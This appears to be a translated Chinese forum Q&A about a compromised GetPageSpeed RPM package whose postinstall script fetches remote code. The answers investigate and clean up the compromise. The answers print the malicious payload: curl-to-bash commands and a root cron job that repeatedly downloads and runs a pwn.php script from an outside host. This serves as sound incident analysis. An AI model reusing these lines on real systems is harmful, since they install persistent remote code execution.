运行yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
会创建/etc/cron.d/sysstat2
但 RPM 拒绝该文件:
# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package
RPM 是如何创建该文件的以及我如何查看它还做了什么?
答案1
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1
https://www.getpagespeed.com/SCM/release-post-install.php
包含:
#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
答案2
您发现 rpm 的脚本运行来自互联网的脚本,并且该脚本当前重定向到可能是恶意软件的脚本。尽管如此,我并没有发现任何可以执行任何操作的有效负载。
rpm 无法完全跟踪发生的情况,因为它正在运行任意脚本。
gpgcheck 不会帮助你,你链接的getpagespeed-extras-7-6.el7.gps.noarch.rpm
和getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
似乎都有有效的签名:
$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub 2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub 2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
向 repo 所有者投诉该软件包运行来自互联网的任意代码。如果必须这样做,他们的软件供应链安全性需要改进。
第一次安装软件时不接入互联网,或者手动检查“安装后”脚本,似乎有点偏执。但不幸的是,如果软件包使用这种不明智的伎俩,这几乎是必要的。
答案3
我有 5 台 CLoudLinux/cPanel 服务器,它们以前通过 Engintron 在其上运行 Nginx,但现在它们运行的是 LiteSpeed 网络服务器。我认为 Engintron 在卸载时可能遗留了 pagespped 存储库。cPanel 每晚都会运行一次更新检查,大约午夜时分,我的所有服务器都会向我发送一封电子邮件报告:
/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'
搜索有效载荷站点后,我发现您在同一天遇到了同样的问题。因此,请将我的信息添加到您自己的信息中。/etc/cron.d/sysstat2
我的所有服务器上都存在相同的文件。
我删除了文件,移除了 repo,并使用 GetPageSpeed 上的联系表单报告了这个问题。Repo 的所有者可能已经擅离职守,因为有一篇博客文章说他因健康问题关闭了 repo。因此,攻击者可能利用了 repo 不受关注的事实,或者找到了可以利用的漏洞。